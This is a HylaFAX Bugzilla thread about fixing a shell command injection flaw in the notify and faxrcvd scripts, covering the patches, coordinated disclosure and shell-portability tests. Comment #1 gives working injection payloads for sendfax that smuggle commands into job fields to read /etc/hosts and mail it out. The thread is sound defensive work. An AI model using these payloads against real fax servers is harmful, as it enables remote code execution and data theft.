Bugzilla
New bug · Reports · Requests · Search ·bug #
First Last Prev Next    No search results available      Search page      Enter new bug
Bug#: 719
Product:  
Component:  
Status: RESOLVED
Resolution: FIXED
Assigned To: Patrice Fournier <patrice.fournier@ifax.com>
Hardware:  
OS:  
Version:  
Priority:  
Severity:  
Reporter: Darren Nickerson <darren@ifax.com>
Add CC:
CC:
Remove selected CCs
URL:
Summary:
Keywords:

Attachment Type Created Size Actions
notify vulnerability patch patch 2005-12-19 21:14 1.99 KB Edit | Diff
faxrcvd vulnerability patch patch 2005-12-19 21:16 831 bytes Edit | Diff
annoucement template text/plain 2005-12-19 21:18 3.21 KB Edit
moves the comments out of the awk p() function patch 2006-01-06 20:34 1.71 KB Edit | Diff
faxrcvd - let the shell sanitize it patch 2006-01-07 14:14 705 bytes Edit | Diff
test.sh text/plain 2006-01-09 10:43 829 bytes Edit
Result of running test.sh under the 'script' command text/plain 2006-01-09 11:23 1.56 KB Edit
Create a New Attachment (proposed patch, testcase, etc.) View All

Bug 719 depends on: Show dependency tree
Show dependency graph
Bug 719 blocks:
Votes: 0    Show votes for this bug    Vote for this bug

Additional Comments:







View Bug Activity   |   Format For Printing   |   Clone This Bug


Description:   Opened: 2005-12-19 10:43

    

------- Comment #1 From Patrice Fournier 2005-12-19 21:12 -------
Try one of (Make sure you replace the phone number to something else if your
server does not automatically reject 411 as mine does... ):

sendfax -d "411;number=\`cat /etc/hosts\`" /etc/hosts

sendfax -f "\`cat /etc/hosts|mail -s hosts pfournier@ifax.com\`
<pfournier@ifax.com>" -d 411 /etc/hosts

sendfax -d "@411\";cat /etc/hosts|mail -s hosts pfournier@ifax.com;" /etc/hosts

For the first example, you need to make sure you are going to be notified and
look at the notification message...

It's possible to run anything as the user the notify script run as (usually
uucp) for someone who can send a job to the server...

As this apply to the new notify shell script, this is a 4.2.x only bug...

faxrcvd may be similarily affected if someone could pass some similar bogus
stuff to the CallID variables... To be vulnerable, a machine would need to
accepts incoming faxes and use some form of CallID that can be manipulated by
the sending user... This is a 4.2.3 only bug as CallID was not implemented (in
the current form) before that.


------- Comment #2 From Patrice Fournier 2005-12-19 21:14 -------
Created an attachment (id=978) [edit]
notify vulnerability patch

This patch fixes the vulnerability by using single quotes for eval parameters
and escaping such quotes in the content. New lines (for status) will be
correctly processed. All the examples provided and a couple of others I had
have been tested and were treated as normal text.

status has been reworked to remove now unneeded escaping/removal of * and
backticks and to simplify the logic.

------- Comment #3 From Patrice Fournier 2005-12-19 21:16 -------
Created an attachment (id=979) [edit]
faxrcvd vulnerability patch

This patch fixes the CallID vulnerability in faxrcvd.

------- Comment #4 From Patrice Fournier 2005-12-19 21:18 -------
Created an attachment (id=980) [edit]
annoucement template

This is an announcement template. It includes the login vulnerability when PAM
is not enabled fixed in bug 682.

Some dates and CVE numbers are to be replaced.

------- Comment #5 From Aidan Van Dyk 2005-12-21 10:39 -------
What about a proposed release date for this?

I'm proposing Jan 4, 2006.  I'ld hate to do it between the christmas and new
years holidays...

I'ld like to notify vendor-sec today, so comments or other proposals much
appreciated!

------- Comment #6 From Aidan Van Dyk 2005-12-21 10:44 -------
I'm adding Giuseppe Sacco <eppesuig@debian.org>, the debian maintainer to this
bug so he is in the loop as well.

------- Comment #7 From Lee Howard 2005-12-21 13:55 -------
There are two (or three, depending on how you see it) different vulnerabilities
mentioned in the vuln announcement.

The one this bug report is about is with regards to authenticated users
"injecting" mischevious code... which amounts to a local code execution
vulnerability and perhaps a priviledge escalation vulnerability (if getting
uucp/fax priveledges means something on the system).  This isn't good, but it's
limited to "authenticated" users.

The other bug, the one that lets anyone and his pet dog authenticate with any
password escalates the critical nature of the bug reported here.  With that bug
alone the mal-intentioned person could "merely" send faxes and look in on the
queues and such ... an information disclosure vulnerability and an
unauthenticated usage vulnerability.

BUT, with the two bugs together we run into a situation where anyone with
network connectivity to the system, perhaps only even via e-mail, can now run
any code on the system with the priveledges of the fax services.

Now, many systems will be built with PAM support, so that's a mitigating
circumstance.  Some systems will have compilers that don't let functions return
true unless instructed to do so.  But it's not a good scenario for the others.

The other bug is already public information.  Suggesting in any way to users
that are vulnerable to the bug of public knowledge that it is acceptable for
them to wait around until January 6 to upgrade is not sound advice.  I belive
that the advice needs to be, "You should either update to the beta or firewall
your HylaFAX services... and then plan on updating again on January 6."

There are going to be plenty of people that will be confused by that approach,
so it needs to be said that we're doing it this way to coordinate a security
update with the various distributions of HylaFAX.  I think that the ideal way to
avoid these kinds of discussions is to avoid making public statements of any
kind about known vulnerabilities until the fix is available.  It's like having a
doctor tell you that you have a disease but that he won't tell you what it is or
how to care for yourself until his insurance policy kicks in.

As long as the vulnerability discussed on this bug isn't likely to be discovered
elsewhere before January 6 then I think it's probably a good idea to wait on
publishing this information (or even the nature of the vulnerability) until
then.  But I would have preferred to have seen no public comments about this
vulnerability until such a time as the fix was available, and I would have
preferred seeing a public recommendation to update to the "beta" or firewall
before that release.

------- Comment #8 From Aidan Van Dyk 2005-12-21 14:18 -------
> The other bug, the one that lets anyone and his pet dog authenticate with any
> password escalates the critical nature of the bug reported here.  With that bug
> alone the mal-intentioned person could "merely" send faxes and look in on the
> queues and such ... an information disclosure vulnerability and an
> unauthenticated usage vulnerability.

Right.  It is restricted in that it has to be a valid user, so user@host
entries in hosts.hfaxd mitigate this affect.  So abuses have to know
a valid username (many probably may have that as .*), and from a
valid host.  And the fact that most people won't have disabled PAM
support (and those that have compiled from source could easily apply the
1-line patch and re-compile).

> BUT, with the two bugs together we run into a situation where anyone with
> network connectivity to the system, perhaps only even via e-mail, can now run
> any code on the system with the priveledges of the fax services.

Almost - Anyone with a valid (possibly guessed/proped) user@host can,
with no password, run code on the system (to the point of uploading a
"document" and running it also).

But this bug is independant of the PAM one and still gives anybody who
can "email faxes" via gateways this ability.  TPC anyone?

> Now, many systems will be built with PAM support, so that's a mitigating
> circumstance.  Some systems will have compilers that don't let functions return
> true unless instructed to do so.  But it's not a good scenario for the others.
> 
> The other bug is already public information.  Suggesting in any way to users
> that are vulnerable to the bug of public knowledge that it is acceptable for
> them to wait around until January 6 to upgrade is not sound advice.  I belive
> that the advice needs to be, "You should either update to the beta or firewall
> your HylaFAX services... and then plan on updating again on January 6."

Or, if you have PAM, enable it.  It won't give out any extra
information.  Setting up host auth in hosts.hfaxd will block "random"
other people from directly accessing things.  And of course, firewalling
your HylaFAX service is *always* a good idea.

We should propbaly point to the patch that fixes that particur bug that
is already in CVS.  It's a one line fix that anybody can easily and
safely apply if they've rolled their own.

And, of course, the beta *is* what we are hoping will be released soon
(minus the new vulnerability), so we can encourage people upgrade with
care. Again, stressing that it only affects systems where pam was
disabled (that means explicitly disabled, or has no PAM).

------- Comment #9 From Aidan Van Dyk 2005-12-21 14:26 -------
Jan 4 OK?

------- Comment #10 From Aidan Van Dyk 2005-12-23 12:33 -------
Martin Schulze <joey@infodrom.org> from debian has helped us obtain CVE numbers
from MITRE:

For hfaxd vulnerabilty:
  CVE-2005-3538

For scripting vulnerabilty:
  CVE-2005-3539

------- Comment #11 From Lee Howard 2005-12-27 21:58 -------
I'm working on some multi-lingual translation work of notify, faxrcvd, and
pollrcvd e-mails (called "dictionary").  It appears that it's going to need to
use eval, and thus there are going to be many instances where eval is used with
possible user data involved.

We're potentially talking about a lot of instances here.

Is this sanitization something that is going to need to be done on a
per-instance-of-eval basis or is there some broader kind of approach that we can
take?

For example, in that same dictionary work I'm also beginning the
bin/common-functions script.  Maybe there we could have our own eval-wrapper
that would sanitize everything before passing it to eval.

------- Comment #12 From Aidan Van Dyk 2005-12-28 11:17 -------
> I'm working on some multi-lingual translation work of notify, faxrcvd, and
> pollrcvd e-mails (called "dictionary").  It appears that it's going to need to
> use eval, and thus there are going to be many instances where eval is used with
> possible user data involved.

So, we'll have to do this carefully.  Alternatively, we could use some
alternative methods (like printf?) instead of evaling strings all the
time.

i.e.
	NEWSTRING=`eval $OLDSTRING1$USERINPUT$OLDSTRING2`
could become
	NEWSTRING=`printf "$OLDSTRING1%s$OLDSTRING2" "$USERINPUT"`
which is safe.  In this case, $USERINPUT is a single argument, and has
no chance for expansion/evaluation by the shell.

> We're potentially talking about a lot of instances here.

Yup.

> Is this sanitization something that is going to need to be done on a
> per-instance-of-eval basis or is there some broader kind of approach that we can
> take?

Well, the problem of this sanitation is that it has to be
"case-by-case", because each case is unique.  Of course, there can be
common cases, like in the sed parsing of the qfile, we didn't do it for
every item, but only once for the function that generates the shell to
be eval'ed.

> For example, in that same dictionary work I'm also beginning the
> bin/common-functions script.  Maybe there we could have our own eval-wrapper
> that would sanitize everything before passing it to eval.

I don't think you could do that, without knowing what the wanted string
was in each case.  There could very well be "common" uses of eval which
could/should be pulled into common functions.  a common functions
collection (I would put in etc, like setup.cache, setup.modem, not bin)
is something that I think is overdue.  It would reduce a lot of
duplicated code, and would hopefully be a central place to worry
seriously about eval-style security concerns.

------- Comment #13 From Darren Nickerson 2006-01-04 11:03 -------
Opening bug to public in coordination with release of 4.2.4, and resolving it
since changes have been committed to CVS.

------- Comment #14 From Lee Howard 2006-01-06 19:16 -------
With the changes I'm getting this from notify now:

+ parseQfile
bin/notify: command substitution: line 5: syntax error near unexpected token `)'
bin/notify: command substitution: line 5: `        # strings (quoted with (')).
Single-quotes can't even be escaped'
+ eval

Also note that JPR is having problems with the faxrcvd change with his SCO box:

http://article.gmane.org/gmane.comp.telephony.fax.hylafax.user/16312

------- Comment #15 From Giuseppe Sacco 2006-01-06 19:52 -------
A user reported the same problem using gawk. Please see
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=346254

------- Comment #16 From Lee Howard 2006-01-06 20:34 -------
Created an attachment (id=983) [edit]
moves the comments out of the awk p() function

Yes, moving the comments out of the awk seems to resolve matters.  Attaching a
patch.

------- Comment #17 From Giuseppe Sacco 2006-01-07 05:47 -------
Are you going to create a new release, like 4.2.4.1, with the corrected patch?

------- Comment #18 From Darren Nickerson 2006-01-07 07:49 -------
This will probably trigger a 4.2.5 release cycle, yes. I suspect we'll be able
to get something out quickly which is 4.2.4 + patch. You should see movement in
this direction on monday - the patch's original author still hasn't had a chance
to weigh in on the problem/patch.

------- Comment #19 From Lee Howard 2006-01-07 14:14 -------
Created an attachment (id=984) [edit]
faxrcvd - let the shell sanitize it

I've released 4.2.4.2 that includes the modification to notify.  Among other
things, it also includes this change in faxrcvd (patch attached), changing the
line from:

 eval "CALLID$COUNT='`echo $1 | $SED -e "s/'/'\\\\\''/g"`'"

to:

 CALLID='$1'
 eval "CALLID$COUNT=\"$CALLID\"" 

Which seems to follow the the safe eval approach that was discussed yesterday
on devel.  I assume that 1) this approach is not exploitable, and 2) it will
resolve the issue that JPR reported on his SCO box.

http://hylafax.sourceforge.net/news/4.2.4.2.php

------- Comment #20 From Darren Nickerson 2006-01-07 14:34 -------
Lee,

Your release announcements do not belong is this forum. To the degree that you
wish to collaborate and make decisions by concensus, you are very welcome here.
On sourceforge, you can unilaterally make decisions about what is good and what
is right, and cut releases as often as you like (even if you continue to name
them in a way that makes them difficult to distinguish from our releases). But
please don't add to the confusion by announcing those releases here. Sourceforge
releases have no formal standing in this forum and a patch is all that people
require to evaluate proposed fixes and decide a way forward for the next
hylafax.org release.

Some people don't work on HylaFAX on the weekends, so in this case the
concensus-based development process may seem frustratingly slow. But there are
people we have not yet heard from including the original author of the patch,
and we will not release without concensus.

-Darren


------- Comment #21 From Lee Howard 2006-01-07 16:48 -------
Darren, I was merely replying to Giuseppe's post, which appeared directed to
me,
as it referred to 4.2.4.1.

The work being done on Sourceforge *is* collaborative.  When this "new
community
site" thread had worked it's way to the end on -users the "consensus" was to:

  1) differentiate web sites
  2) do not use the phrase "The HylaFAX Development Team"
  3) make it clear what the difference was between the sites
  4) use one set of mailing lists
  5) use one bug tracker

I think that those results were a positive way to approach a collaborative
fork.

You've now scowled once at a -user discussion of features on sourceforge (#4),
and now you've taken issue with #5... and honestly, I don't understand what the
point of that is... to frustrate the collaboration?

In any case, this is not the place for this discussion.  I'll not continue it
here further.  My previous comments were merely in response to Giuseppe's
question.  If you continue to insist that all hylafax.sf.net activity should be
removed from hylafax.org, then I can make that happen; however, I do not
believe
that it would be in the best interests of the community in general... but
that's
your call.

------- Comment #22 From Darren Nickerson 2006-01-08 12:02 -------
Lee Howard wrote:

> Darren, I was merely replying to Giuseppe's post, which appeared directed to
> me, as it referred to 4.2.4.1.

I interpreted Guiseppe's question to refer to the HylaFAX we are working on here
at HylaFAX.org, especially since he asked if we were going to release a 4.2.4.1
(or something) point release, ... something you'd already announced days earlier
and of which I am sure he was aware.

This very clearly illustrates the problem with your 'release' naming scheme, and
I renew my initial objection to it. If you're serious about not wanting to
confuse people, please name your 'subreleases' something like hylafax-4.2.4lh3.
That would make it clear that it's an official 4.2.4 base distribution, with rev
level three of Lee Howard goodies. Please consider this seriously, ... it seems
like a harmless change for you to make and yet will make a world of difference
in helping people understand the difference between your work and ours.

> The work being done on Sourceforge *is* collaborative.  When this "new
> community site" thread had worked it's way to the end on -users the
> "consensus" was to:

I don't agree that any concensus was reached. Your position changed often and I
could not keep track. Your last grandiose announcement seemed to be a call for
all developers to move to Sourceforge, and as such was ignored. I like most
aspects of your new website - thanks for taking down the hylafax.org site you
deplicated. That doesn't mean any great concensus was reached though.

> I think that those results were a positive way to approach a collaborative
> fork.

So now this is a collaborative fork? I'll look that up ... I'm not sure exactly
what that means. I like the first word of that - collaborative. I (and I'm sure
everyone else) welcomes your collaboration here. I'll focus on that.

If you want to participate here, and announce work on our mailing lists and
collect feedback from the people who subscribe here, please make sure that work
is in the hylafax.org bugzilla so that other members of this community can
participate in the collaborative process. It doesn't have to be in CVS, or even
being considered for CVS yet, but it should definitely appear in bugzilla
(internationalization being one notable example).

-d

------- Comment #23 From Patrice Fournier 2006-01-08 20:01 -------
> [...] change in faxrcvd (patch attached), changing the
> line from:
>
> eval "CALLID$COUNT='`echo $1 | $SED -e "s/'/'\\\\\''/g"`'"
>
> to:
>
>  CALLID='$1'
>  eval "CALLID$COUNT=\"$CALLID\"" 
>
> Which seems to follow the the safe eval approach that was discussed yesterday
> on devel.  I assume that 1) this approach is not exploitable, and 2) it will
> resolve the issue that JPR reported on his SCO box.

After thinking of the discussion we had on -devel, I also later realized we
could simplify the faxrcvd script and remove a call to sed. We don't need to go
through the CALLID variable though, only need to make sure $1 is not expanded
before calling eval:
 eval "CALLID$COUNT=\"\$1\"" 

And the comment can then be simplified to:
# We quote the $ of $1 to make sure the $1 variable is not expanded before
# eval is called so that it's content can't be used against us.


As for the notify patch, yes, the single quotes inside the comments will cause
problems. The original patch I wrote didn't have single-quotes in the comments
and when I reworded them, it seems my tests didn't pick up the new version so
where still working as expected. Sorry about that. The two possibilities are to
either remove the single quotes from the comments or to move the comments out of
the awk script (which is enclosed in single-quotes, thus causing this problem).
As this is right at the start of the awk script and the comments explanations
are important, I think the best solution is to move them outside the awk script
and not change them.

------- Comment #24 From Darren Nickerson 2006-01-09 09:43 -------
Expanding bug report to include -devel prior to finalizing fixes.

------- Comment #25 From Aidan Van Dyk 2006-01-09 10:43 -------
Created an attachment (id=985) [edit]
test.sh

This is a simple test to see what various things do on various shells.	Running
it should give an idea of what works on your shell.  It would be very
informative to get the results from Jean-Pierre Radley on SCO.

The reason the original eval "...='...|sed -e "s/'.../g"' doesn't work is
simply that the hard the sed expression is being pulled out of the sub-shell
differently on different shells.  But on top of that, the "right" sed
expression is different for solaris sed and GNU sed too.

The "worst" shell I have access to is /bin/sh on Solaris 8.

But it appears that the simplest way to handle it is (tested on /bin/sh with
solaris 8, solaris 9, and redhat/debian bash):

   eval CALLID$COUNT='$1'
or
   eval CALLID$COUNT="\$1"
which is equivlilant to:
   eval "CALLID$COUNT=\$1"

To get the sed version to work, we need the same sed expression to work on all
sed (solaris sed needs a different expression from gnu sed), as well as getting
the expansion correct from the subshell.

I vote for
    eval CALLID$COUNT='$1'
as long as it works everywhere...  We need test results on the various shells

Looks simplest, and removes the extra varible assignment from Lee's that some
user is going to try and use ($CALLID instead of $CALLID[0-9])

------- Comment #26 From Jean-Pierre Radley 2006-01-09 11:23 -------
Created an attachment (id=986) [edit]
Result of running test.sh under the 'script' command

I typed 'script', then ran test.sh; I've left the CarriageReturns in the
captured 'typescript.
This run of test.sh was done on SCO OpenServer 6.0.0, whose man page for 'sh'
asserts:

 sh is conformant with:

   ISO/IEC DIS 9945 - 2:1992, Information technology - Portable
   Operating System Interface (POSIX) - Part 2: Shell and Utilities
   (IEEE Std 1003.2 - 1992);
   AT&T SVID Issue 2;
   X/Open CAE Specification, Commands and Utilities, Issue 4, 1992.

------- Comment #27 From Aidan Van Dyk 2006-01-09 11:27 -------
Note: a word of warning I didn't think of - do *NOT* blindly run this test.sh
on
a server without shadow passwords, are at least sanitize the output.  If you
have an encrypted password in /etc/passwd, the first line *will* be displayed..
 I probably should have picked a safer file (like group of something)! Sorry!

------- Comment #28 From Aidan Van Dyk 2006-01-09 11:37 -------
Jean-Piere,

It's really hard to read the script output.

From the looks of the set -x logging during the evals, method a and b both
worked for TEST1 and TEST2 (as expected) and method c & d both fail.

But I don't see any "results" being printed...

Can you remove the "set -" line and see if it prints results?  I thin the
results should just confirm what we are thinking, but just to be sure...

------- Comment #29 From Aidan Van Dyk 2006-01-09 12:12 -------
I committed Lee's notify part - moving the comments out of the awk script.

Any concensus on the prefered eval method for faxrcvd?

  eval "CALLID$COUNT=\$1"
or
  eval CALLID$COUNT='$1'


------- Comment #30 From Aidan Van Dyk 2006-01-09 14:13 -------
===== util/faxrcvd.sh.in 1.26 vs edited =====
--- 1.26/util/faxrcvd.sh.in     2006-01-04 10:33:35 -05:00
+++ edited/util/faxrcvd.sh.in   2006-01-09 14:11:58 -05:00
@@ -103,12 +103,9 @@ COMMID="$1"; shift;
 MSG="$1"; shift;
 COUNT=1
 while [ $# -ge 1 ]; do
-    # In shell scripts, there are no special characters in hard-quoted
-    # strings (quoted with (')). Single-quotes can't even be escaped
-    # inside such strings and must be put outside of them. We thus replace
-    # (') with ('\'') which terminates the current string, adds a single
-    # quote and starts a new string.
-    eval "CALLID$COUNT='`echo $1 | $SED -e "s/'/'\\\\\''/g"`'"
+    # The eval has $1 set yet, and this forces a variable-to-variable
+    # assignment, allowing us to not need to do escaping
+    eval CALLID$COUNT='$1'
     shift
     COUNT=`expr $COUNT + 1`
 done

------- Comment #31 From Patrice Fournier 2006-01-20 12:06 -------
The last fix was also commited to CVS on January 9 2006.

First Last Prev Next    No search results available      Search page      Enter new bug